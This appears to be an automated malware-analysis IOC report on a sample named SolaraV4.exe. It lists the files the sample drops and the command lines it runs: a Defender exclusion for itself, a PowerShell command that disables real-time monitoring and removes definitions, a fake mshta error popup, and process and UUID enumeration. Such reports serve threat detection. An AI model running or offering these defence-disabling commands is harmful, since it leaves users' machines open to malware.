IOC Report
SolaraV4.exe

SolaraV4.exe

PE32+ executable (GUI) x86-64, for MS Windows

initial sample

C:\Users\user\AppData\Local\Temp\6zHpy.zip

RAR archive data, v5

dropped

C:\Users\user\AppData\Local\Temp\_MEI71122\rar.exe

PE32+ executable (console) x86-64, for MS Windows

dropped

C:\Users\user\AppData\Local\Temp\_MEI71122\rarreg.key

ASCII text

dropped

C:\Users\user\AppData\Local\Temp\myx0gned\myx0gned.cmdline

Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators

dropped

C:\Users\user\Desktop\SolaraV4.exe

"C:\Users\user\Desktop\SolaraV4.exe"

C:\Users\user\Desktop\SolaraV4.exe

"C:\Users\user\Desktop\SolaraV4.exe"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SolaraV4.exe'"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please update software. OLD VERSION', 0, 'Error', 32+16);close()""

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"